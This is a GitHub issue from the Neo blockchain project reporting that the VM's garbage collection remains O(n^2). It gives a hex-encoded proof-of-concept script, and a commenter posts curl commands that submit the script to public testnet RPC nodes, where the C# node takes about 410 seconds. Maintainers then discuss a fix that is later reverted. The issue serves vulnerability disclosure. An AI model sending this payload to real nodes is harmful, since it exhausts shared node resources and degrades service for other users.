Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Even All The Size is Limited to 2048, GC is Still O(n^2) #2532

Closed
vang1ong7ang opened this issue Jul 9, 2021 · 6 comments
Closed

Even All The Size is Limited to 2048, GC is Still O(n^2) #2532

vang1ong7ang opened this issue Jul 9, 2021 · 6 comments

Comments

@vang1ong7ang
Copy link
Contributor

Related to #2521, #2528, and #2530

details: lazynode/Tanya#5 and lazynode/Tanya#6


PoC

56010c0240014a8b4a8b4a8b4a8b4a8b4a8b4a8b4a8b4a8b4a8b4a8b01f8
0f8d0c0240008b11c001000460589d604a1f0c0b646573657269616c697a
650c14c0ef39cee0e4e925c6c2a06a79e1440dd86fceac41627d5b524558
24d149

TEST IT WITH #2531 and neo-project/neo-vm#416 APPLIED

@dusmart
Copy link

dusmart commented Jul 9, 2021

410 seconds and 15 gas on the official C# node
very fast on the neo-go node (no GC issue)

➜  ~ curl -d '{ "jsonrpc": "2.0", "id": 1, "method": "invokescript", "params": ["VgEMAkABSotKi0qLSotKi0qLSotKi0qLSotKiwH4D40MAkAAixHAAQAEYFidYEofDAtkZXNlcmlhbGl6ZQwUwO85zuDk6SXGwqBqeeFEDdhvzqxBYn1bUkVYJNFJ"] }' http://seed4t.neo.org:20332 |
 json_pp
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   436    0   241    0   195      0      0 --:--:--  0:04:50 --:--:--    51
{
   "id" : 1,
   "jsonrpc" : "2.0",
   "result" : {
      "exception" : null,
      "gasconsumed" : "1511856330",
      "script" : "VgEMAkABSotKi0qLSotKi0qLSotKi0qLSotKiwH4D40MAkAAixHAAQAEYFidYEofDAtkZXNlcmlhbGl6ZQwUwO85zuDk6SXGwqBqeeFEDdhvzqxBYn1bUkVYJNFJ",
      "stack" : [],
      "state" : "HALT"
   }
}
➜  ~ curl -d '{ "jsonrpc": "2.0", "id": 1, "method": "invokescript", "params": ["VgEMAkABSotKi0qLSotKi0qLSotKi0qLSotKiwH4D40MAkAAixHAAQAEYFidYEofDAtkZXNlcmlhbGl6ZQwUwO85zuDk6SXGwqBqeeFEDdhvzqxBYn1bUkVYJNFJ"] }' https://rpc1t.n3.nspcc.ru:20331 | json_pp
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   420  100   225  100   195     91     79  0:00:02  0:00:02 --:--:--   171
{
   "id" : 1,
   "jsonrpc" : "2.0",
   "result" : {
      "gasconsumed" : "1511856330",
      "script" : "VgEMAkABSotKi0qLSotKi0qLSotKi0qLSotKiwH4D40MAkAAixHAAQAEYFidYEofDAtkZXNlcmlhbGl6ZQwUwO85zuDk6SXGwqBqeeFEDdhvzqxBYn1bUkVYJNFJ",
      "stack" : [],
      "state" : "HALT"
   }
}

shargon added a commit to shargon/neo-vm that referenced this issue Jul 12, 2021
@shargon
Copy link
Member

shargon commented Jul 12, 2021

Could you check neo-project/neo-vm@ef740f6 ?

@vang1ong7ang
Copy link
Contributor Author

@shargon , it is much better but theoretically it is still O(n^2) (data is still traversed)

@vang1ong7ang
Copy link
Contributor Author

@shargon is neo-project/neo-vm@ef740f6 really works? or i'm missing something?

@vang1ong7ang
Copy link
Contributor Author

I'm afraid that neo-project/neo-vm@ef740f6 implements the GC in a wrong way 🌚

shargon added a commit to shargon/neo-vm that referenced this issue Jul 13, 2021
@shargon
Copy link
Member

shargon commented Jul 13, 2021

@vang1ong7ang it was reverted

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants